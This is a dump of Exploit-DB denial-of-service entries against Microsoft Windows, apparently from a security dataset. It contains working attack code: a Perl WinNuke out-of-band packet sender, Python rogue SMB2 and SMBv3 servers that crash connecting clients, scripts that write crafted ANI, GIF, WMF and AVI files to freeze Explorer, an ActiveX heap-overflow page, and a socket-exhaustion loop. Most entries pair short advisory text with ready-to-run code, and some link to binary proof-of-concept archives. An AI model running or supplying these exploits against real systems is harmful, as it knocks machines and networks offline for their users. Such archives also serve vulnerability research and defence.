deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20439
Description: Microsoft Windows 3.11/95/NT 4.0/NT 3.5.1 - 'Out Of Band' Data Denial of Service (3)
Type: dos
Platform: windows
Date: 1997-05-07
Author: _eci

Exploit:
source: https://www.securityfocus.com/bid/2010/info
  
Older versions of Microsoft Windows (95, Windows for Workgroups 3.11, Windows NT up to and including 4.0), as well as SCO Open Server 5.0, have a vulnerability relating to the way they handle TCP/IP "Out of Band" data.
  
According to Microsoft, "A sender specifies "Out of Band" data by setting the URGENT bit flag in the TCP header. The receiver uses the URGENT POINTER to determine where in the segment the urgent data ends. Windows NT bugchecks when the URGENT POINTER points to the end of the frame and no normal data follows. Windows NT expects normal data to follow. "
  
As a result of this assumption not being met, Windows gives a "blue screen of death" and stops responding.
  
Windows port 139 (NetBIOS) is most susceptible to this attack. although other services may suffer as well. Rebooting the affected machine is required to resume normal system functioning. 

#!/usr/bin/perl

# Ghent - ghent@bounty-hunters.com - Perl version of winnuke.c by _eci

use strict; use Socket;

my($h,$p,$in_addr,$proto,$addr);

$h = "$ARGV[0]"; $p = 139 if (!$ARGV[1]);
if (!$h) { print "A hostname must be provided. Ex: www.microsoft.com\n"; }

$in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
socket(S, AF_INET, SOCK_STREAM, $proto) or die $!;

connect(S,$addr) or die $!; select S; $| = 1; select STDOUT;

print "Nuking: $h:$p\n"; send S,"Sucker",MSG_OOB; print "Nuked!\n"; close S;
Exploit-DB #39959
Description: Microsoft Windows 7 - win32k Bitmap Use-After-Free (MS16-062) (1)
Type: dos
Platform: windows
Date: 2016-06-15
Author: Nils Sommer

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=746

The attached PoC triggers a blue screen on Windows 7 with special pool enabled on win32k.sys . A reference to the bitmap object still exists in the device context after it has been deleted.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39959.zip
Exploit-DB #39960
Description: Microsoft Windows 7 - win32k Bitmap Use-After-Free (MS16-062) (2)
Type: dos
Platform: windows
Date: 2016-06-15
Author: Nils Sommer

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=747

The attached PoC crashes 32-bit Windows 7 with special pool enabled on win32k.sys. It might take several runs in order to reproduce. Tested the PoC on a single core VM.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39960.zip
Exploit-DB #46604
Description: Microsoft Windows 7/2008 - 'Win32k' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-03-26
Author: ze0r

Exploit:
# Exploit Title: Microsoft Windows Win32k CVE-2019-0808 Local Privilege Escalation Vulnerability
# Date: 24/03/2019
# Exploit Author: ze0r
# Vendor Homepage: www.microsoft.com
# Version: Microsoft Windows 7/ Server 2008
# CVE : CVE-2019-0808


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46604.zip
Exploit-DB #10005
Description: Microsoft Windows 7/2008 R2 - Remote Kernel Crash
Type: dos
Platform: windows
Date: 2009-11-11
Author: laurent gaffie

Exploit:
#!/usr/bin/python
# win7-crash.py:
# Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
# Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an 
#infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash
#Author: Laurent Gaffiï¿½

import SocketServer

packet = ("\x00\x00\x00\x9a" # ---> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a")


class SMB2(SocketServer.BaseRequestHandler):

   def handle(self):
        print "Who:", self.client_address
        print "THANKS SDL"
        input = self.request.recv(1024)
        self.request.send(packet)
        self.request.close()

launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever()
Exploit-DB #44189
Description: Microsoft Windows 8.1/2012 R2 - SMBv3 Null Pointer Dereference Denial of Service
Type: dos
Platform: windows
Date: 2018-02-27
Author: Nabeel Ahmed

Exploit:
# Exploit Title: Microsoft Windows SMB Client Null Pointer Dereference Denial of Service
# Date: 26/02/2018
# Exploit Author: Nabeel Ahmed
# Version: SMBv3
# Tested on: Windows 8.1 (x86), Windows Server 2012 R2 (x64)
# CVE : CVE-2018-0833

import SocketServer
from binascii import unhexlify
payload = '000000ecfd534d[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]414141'
class byebye(SocketServer.BaseRequestHandler):
        def handle(self):
                try:
                        print "From:", self.client_address
                        print "[*]Sending Payload..."
                        self.request.send(unhexlify(payload))
                except Exception:
                        print "BSoD Triggered on", self.client_address
                        pass
SocketServer.TCPServer.allow_reuse_address = 1
launch = SocketServer.TCPServer(('', 445),byebye)
launch.serve_forever()
Exploit-DB #21040
Description: Microsoft Windows 98 - ARP Denial of Service
Type: dos
Platform: windows
Date: 2001-07-30
Author: Paul Starzetz

Exploit:
source: https://www.securityfocus.com/bid/3113/info

A potential denial of service vulnerability exists in some versions of the Microsoft Windows network stack.

The problem occurs when a large number of extraneous ARP packets sent to a host running Windows. This can cause the system to use all available CPU and memory resources and thus become unresponsive until the attack ends.

By sending ARP requests to the Ethernet broadcast address, it may be possible to use this attack to disable an entire network. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21040.tar.gz
Exploit-DB #20613
Description: Microsoft Windows 98/2000 - UDP Socket Denial of Service
Type: dos
Platform: windows
Date: 2001-02-06
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/2340/info

Microsoft Windows 2000 and 98 are subject to a denial of service condition. Receiving a maliciously crafted email or visiting a malicious web site could prevent Windows 2000 from DNS resolution and Windows 98 from accepting any new TCP connections. This is due to a lack of restrictions on the allocation of network "sockets" by user applications.

A malicious java applet placed on a website could exploit this vulnerability and cause a DoS on victim systems. 

for(i=0;i<m;i++)
{

try { DatagramSocket d = new DatagramSocket();v.addElement(d);}
catch (Exception e) {System.out.println("Exhausted, i="+i);}
}
Exploit-DB #25737
Description: Microsoft Windows 98SE - 'User32.dll' Icon Handling Denial of Service
Type: dos
Platform: windows
Date: 2005-05-26
Author: klistas

Exploit:
source: https://www.securityfocus.com/bid/13791/info

The Microsoft 'user32.dll' library is prone to a denial of service vulnerability. The issue manifests when the library handles icon (.ico) files containing large size values.

Reports indicate that this issue exists for user32.dll versions that reside on Microsoft Windows 98SE platforms. Other versions might also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25737.zip
Exploit-DB #47414
Description: Microsoft Windows cryptoapi - SymCrypt Modular Inverse Algorithm Denial of Service
Type: dos
Platform: windows
Date: 2019-09-24
Author: Google Security Research

Exploit:
There's a bug in the SymCrypt multi-precision arithmetic routines that can cause an infinite loop when calculating the modular inverse on specific bit patterns with bcryptprimitives!SymCryptFdefModInvGeneric.

I've been able to construct an X.509 certificate that triggers the bug. I've found that embedding the certificate in an S/MIME message, authenticode signature, schannel connection, and so on will effectively DoS any windows server (e.g. ipsec, iis, exchange, etc) and (depending on the context) may require the machine to be rebooted. Obviously, lots of software that processes untrusted content (like antivirus) call these routines on untrusted data, and this will cause them to deadlock.

You can verify it like so, and notice the command never completes:

C:\> certutil.exe testcase.crt


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47414.zip
Exploit-DB #44402
Description: Microsoft Windows Defender - 'mpengine.dll' Memory Corruption
Type: dos
Platform: windows
Date: 2018-04-05
Author: Google Security Research

Exploit:
Windows Defender inspects a variety of different archive formats, among others RAR.

Inspection of mpengine.dll revealed that the code responsible for processing RAR archives appears to be a forked and modified version of the original unrar code; given that it still processes the VMSF_UPCASE filter (which was removed in unrar 5.0), it seems that the code is derived from a version of unrar older or equal than 4.2.4.

Interestingly, the issue discovered in CVE-2012-6706 (Sophos VMSF_DELTA, and in 2017 unrar) and other signedness issues in the RarVM::ExecuteStandardFilter function were fixed long ago (apparently without a report to upstream, most likely by simply turning the relevant variables from "signed" to "unsigned").

It appears that this blanket conversion from signed to unsigned ended up introducing a new vulnerability, though:

From unrar 4.2.4 rarvm.cpp:

    case VMSF_RGB:
      {
        int DataSize=R[4],Width=R[0]-3,PosR=R[1];
        byte *SrcData=Mem,*DestData=SrcData+DataSize;
        const int Channels=3;
        SET_VALUE(false,&Mem[VM_GLOBALMEMADDR+0x20],DataSize);
        if ((uint)DataSize>=VM_GLOBALMEMADDR/2 || PosR<0)
          break;
        for (int CurChannel=0;CurChannel<Channels;CurChannel++)

The code clearly ensures that PosR is positive from here on.

This check is no longer present in the binary version of the same code in mpengine, most likely since most signed comparisons in this function have been turned unsigned. 

This causes a vulnerability later in the same function (RarVM::ExecuteStandardFilter)

Decompile of the mpengine code snippet:

if ( PosR + 2 < DataSize ) {
  v50 = (_BYTE *)(v39 + PosR);
  do {
    v51 = v50[1];
    *v50 += v51;
    v50 += 3;
    *(v50 - 1) += v51;
  } while ( (unsigned int)&v50[2 - v39] < DataSize );

Original unrar code:
  for (int I=PosR,Border=DataSize-2;I<Border;I+=3)
  {
    byte G=DestData[I+1];
    DestData[I]+=G;
    DestData[I+2]+=G;
  }

An attacker that can set PosR to be -2, and DataSize to 1, will bypass the (PosR + 2 < DataSize) check. v50 above will then point to one byte *before* the allocated buffer (v50 respective DestData points into a buffer at index DataSize -- so adding -2 to index 1 will index to -1. The byte from the start of this array will be added into the byte preceding the array.

A minimal sample RAR file that exhibits these traits & causes mpengine to corrupt memory and crash is attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44402.zip
Exploit-DB #11195
Description: Microsoft Windows Defender - ActiveX Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-01-19
Author: SarBoT511

Exploit:
#Exploits title :[Microsoft Windows Defender ActiveX Heap Overflow PoC]
#tested on :[windows 7]
#Microsoft Windows Defender

<html>
<object classid='clsid:07DD3249-A591-4949-8F20-09CD347C69DC' id='target' ></object>
<script language='vbscript'>
targetFile = "C:\Program Files\Windows Defender\MsMpCom.dll"
prototype  = "Sub DeleteValue ( ByVal bstrKeyName As String ,  ByVal bstrValueName As String )"
memberName = "DeleteValue"
progid     = "MpComExportsLib.MsMpSimpleConfig"
argCount   = 2
 
arg1="defaultV"
arg2="%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s"
 
target.DeleteValue arg1 ,arg2 
 
</script>
Exploit-DB #3684
Description: Microsoft Windows Explorer - '.ANI' File Denial of Service
Type: dos
Platform: windows
Date: 2007-04-08
Author: Marsu

Exploit:
/****************************************************************************
*              MS Windows Explorer Unspecified .ANI File DoS                *
*                                                                           *
*                                                                           *
* Another .Ani bug that freezes Explorer if you open a folder that contains *
* a crafted file.                                                           *
*                                                                           *
* Tested against Win XP SP2 FR.                                             *
* Have Fun!                                                                 *
*                                                                           *
* Coded by Marsu <Marsupilamipowa@hotmail.fr>                               *
****************************************************************************/

#include "stdio.h"
#include "stdlib.h"

unsigned char Ani_headers[] = 
"\x52\x49\x46\x46\x08\x4d\x00\x00\x41\x43\x4f\x4e\x61\x6e\x69\x68"
"\x24\x00\x00\x00\x24\x00\x00\x00\x06\x00\x00\x00\x06\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00"
"\x0a\x00\x00\x00\x01\x00\x00\x00\x72\x61\x74\x65\x18\x00\x00\x00"
"\x03\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00"
"\x03\x00\x00\x00\x03\x00\x00\x00\x4c\x49\x53\x54\xa8\x4c\x00\x00"
"\x66\x72\x61\x6d\x69\x63\x6f\x6e\xbe\x0c\x00\x00\x00\x00\x02\x00"
"\x01\x00\x20\x20\x00\x57\x57\x57\x57\x00\xa8\x0c\x00\x00\x16\x00"
"\x00\x00\x03" //Change this last char to avoid crash
;

int main(int argc, char* argv[])
{
	FILE* anifile;
	char evilbuff[4000];
	printf("[+] MS Windows Explorer Unspecified .ANI File DoS\n");
	printf("[+] Coded by Marsu <Marsupilamipowa@hotmail.fr>\n");
	if (argc!=2) {
		printf("[+] Usage: %s <file.ani>\n",argv[0]);
		return 0;
	}
	
	memset(evilbuff,'A',4000);
	memcpy(evilbuff,Ani_headers,sizeof(Ani_headers)-1);
	
	if ((anifile=fopen(argv[1],"wb"))==0) {
		printf("[-] Unable to access file.\n");
		return 0;
	}
	fwrite( evilbuff, 1, 4000, anifile );
	fclose(anifile);
	printf("[+] Done. Have fun!\n");
	return 0;
	
}

// milw0rm.com [2007-04-08]
Exploit-DB #3190
Description: Microsoft Windows Explorer - '.AVI' File Denial of Service
Type: dos
Platform: windows
Date: 2007-01-24
Author: shinnai

Exploit:
print "-----------------------------------------------------------------------------------"
print "Explorer.exe version 6.0.2900.2180 .avi file Denial of Service"
print "author: shinnai"
print "mail: shinnai[at]autistici[dot]org"
print "site: http://shinnai.altervista.org"
print "Tested on Windows XP Professional SP2 all patched"
print "right click of the mouse on the file to see Explorer.exe die"
print "-----------------------------------------------------------------------------------"

fileOut = open('die.avi','wb')
fileOut.write('\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00')
fileOut.close()

# milw0rm.com [2007-01-24]
Exploit-DB #5327
Description: Microsoft Windows Explorer - '.doc' File Denial of Service
Type: dos
Platform: windows
Date: 2008-03-31
Author: Iron Team

Exploit:
MS Windows Explorer Unspecified .DOC File Denial of Service Exploit

Download the file anywhere excluding on desktop and try to browse it with the Windows explorer and you'll see how it crashes !

- Tested on Windows XP Service Pack 1 and Service Pack 2. Hope the latest Microsoft fixes will fix that bug ;]

- Iron Team - Hackin' and crackin' is not a crime it's revolution -

- Website - http://iron-team.com/

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5327.doc (2008-Iron.Team.hack.the.planet.doc)

# milw0rm.com [2008-03-31]
Exploit-DB #4215
Description: Microsoft Windows Explorer - '.GIF' Image Denial of Service
Type: dos
Platform: windows
Date: 2007-07-23
Author: DeltahackingTEAM

Exploit:
#!/usr/bin/perl
###############################################################
# Bug Found By ::DeltahackingTEAM
##
# Coded By Reza.Yavari (Dr.Pantagon)
##
#Web Site::Www.Deltahacking.net  And Www.DeltaSecurity.ir And Www.PersianWhois.com
##
#Free Upload :: Www.Persianupload.com  And Www.Persianupload.net
##
#Email: Dr.Pantagon [A]Deltasecurity.ir
##
# We Are::Dr.Trojan,Hiv++,D_7j,Dr.Pantagon,Impostor,Lord,Vpc,And....All Mem

print "\nGIF PoC denial of service exploit by Dr.Pantagon < Dr.Pantagon@deltasecurity.ir>";
print "\n\ngenerating Art.gif...";
print "\n\nUsage :";
print "\n\n1- Mouse Over Art.gif For Excute Exploit ";
print "\n\n2- Single Click Art.gif For Excute Exploit ";
print "\n\n3- Double Clik Art.gif (Open) For Excute Exploit ";
print "\n\n4- More... ";
print "\n\nYou Can open Art.gif Or Select Art.gif(Single Click) Or Delete Art.gif For Run(Excute) Exploit";
open(gif, ">./Art.gif") or die "cannot create gif file\n";
print gif "\x02\x00\x09\x00\x00\x03\x22\x00\x00\x00\x6\x7\x6\x6\x6\x64";
print gif "\x2D\x49\x07\x00\x00\x00\xFC\x02\x00\x00\x00\x00\x00\x00\x00\x00";
print gif "\x08\x00\x00\x00\xFA\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
print gif "\x07\x00\x00\x00\xFC\x02\x08\x00\x00\x00\x00\x00\x00\x80\x03\x00";
print gif "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
print gif "\x9b\x99\x86\xd1\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99";
print gif "\x99\x99\x95\x99\x99\x99\x99\x99\x99\x99\x98\x99\x99\x99";
print gif "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99";
print gif "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99";
print gif "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99";
print gif "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99";
print gif "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99";
print gif "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99";
print gif "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99";
print gif "\x99\x99\xda\xd4\xdd\xb7\xdc\xc1\xdc\x99\x99\x99\x99\x99";
print gif "\x89\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99";
print gif "\x99\x99\x99\x99\x99\x99\x90\x90\x90\x90\x90\x90\x90\x90";
print gif "\x02\x00\x09\x00\x00\x03\x22\x00\x00\x00\x6\x7\x6\x6\x6\x64";
print gif "\x2D\x49\x07\x00\x00\x00\xFC\x02\x00\x00\x00\x00\x00\x00\x00\x00";
print gif "\x08\x00\x00\x00\xFA\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
print gif "\x07\x00\x00\x00\xFC\x02\x08\x00\x00\x00\x00\x00\x00\x80\x03\x00";
print gif "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
close(gif);
print "ok\n\nok Gif Exploit Creat and run exploit and wait :)\n";

# milw0rm.com [2007-07-23]
Exploit-DB #30619
Description: Microsoft Windows Explorer - '.png' Image Local Denial of Service
Type: dos
Platform: windows
Date: 2007-07-26
Author: Xavier Roche

Exploit:
source: https://www.securityfocus.com/bid/25816/info

Microsoft Windows Explorer is prone to a denial-of-service vulnerability because it fails to handle malformed PNG image files.

Attackers can exploit this issue to cause Windows Explorer to exhaust CPU cycles and become unresponsive.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30619.png
Exploit-DB #3111
Description: Microsoft Windows Explorer - '.WMF' CreateBrushIndirect Denial of Service
Type: dos
Platform: windows
Date: 2007-01-13
Author: cyanid-E

Exploit:
#!/usr/bin/perl

print "\nWMF PoC denial of service exploit by cyanid-E <biz4rre\@gmail.com>";
print "\n\ngenerating brush.wmf...";
open(WMF, ">./brush.wmf") or die "cannot create wmf file\n";
print WMF "\x01\x00\x09\x00\x00\x03\x22\x00\x00\x00\x63\x79\x61\x6E\x69\x64";
print WMF "\x2D\x45\x07\x00\x00\x00\xFC\x02\x00\x00\x00\x00\x00\x00\x00\x00";
print WMF "\x08\x00\x00\x00\xFA\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
print WMF "\x07\x00\x00\x00\xFC\x02\x08\x00\x00\x00\x00\x00\x00\x80\x03\x00";
print WMF "\x00\x00\x00\x00";
close(WMF);
print "ok\n\nnow try to browse folder in XP explorer and wait :)\n";

# milw0rm.com [2007-01-13]
Exploit-DB #6616
Description: Microsoft Windows Explorer - '.zip' Denial of Service
Type: dos
Platform: windows
Date: 2008-09-28
Author: fl0 fl0w

Exploit:
Sucessfully tested on Microsoft Windows Xp Pro sp3 English.
If you open with Winzip sometimes the exeption doesen't occur.
Just right click the file and explorer will crash.
|---
CMP BYTE PTR DS:[EDX+EAX-1],2E

ESP 0007E328
EBP 0007E358

Access Violation [FFFFFFFF]
---|

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6616.zip (2008-ExplorerDOS.zip)

# milw0rm.com [2008-09-28]
Exploit-DB #29286
Description: Microsoft Windows Explorer - 'explorer.exe .WMV' File Handling Denial of Service
Type: dos
Platform: windows
Date: 2006-12-15
Author: shinnai

Exploit:
source: https://www.securityfocus.com/bid/21612/info
 
Multiple applications are prone to a denial-of-service vulnerability.
 
A remote attacker may exploit this vulnerability by presenting malicious 'WMV', 'MID', and 'AVI' files to a victim user. When an affected application processes this image, the application crashes, effectively denying service.
 
It is not known at this time if this issue can be leveraged to execute arbitrary code; this BID will be updated as further information becomes available.
 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29286.zip
Exploit-DB #18272
Description: Microsoft Windows Explorer - Denial of Service
Type: dos
Platform: windows
Date: 2011-12-24
Author: Level

Exploit:
# Windows 2008 SP2 RC2 Explorer Go Byebye :P
# Windows 7 Pro SP1 Explorer Go Byebye :P
# Interesting
# Brought to you by Level & z0r0 @ Smash The Stack

from win32com.shell import shell, shellcon
from os import mkdir

try:
	mkdir("c:\\trigger_alt")
except:
	print "[!] Trigger Directory Exists"
try:
	mkdir("c:\\trigger_alt\\....")
except:
	print "[!] Trigger Sub Directory Exists"

print "[!] Triggering Issue"

# This moves the directory containing the sub directory which creates the condition.
# The issue is in the function that moves the files to the recycle bin
# Replicate this using the following
# 1- mkdir c:\trigger_alt
# 2- cd c:\trigger_alt
# 3- mkdir ....\
# 4- My Computer -> c:\trigger_alt
# 5- Right Click -> Delete 

shell.SHFileOperation((0,shellcon.FO_DELETE,'c:\\trigger_alt',None,shellcon.FOF_ALLOWUNDO|shellcon.FOF_NOCONFIRMATION))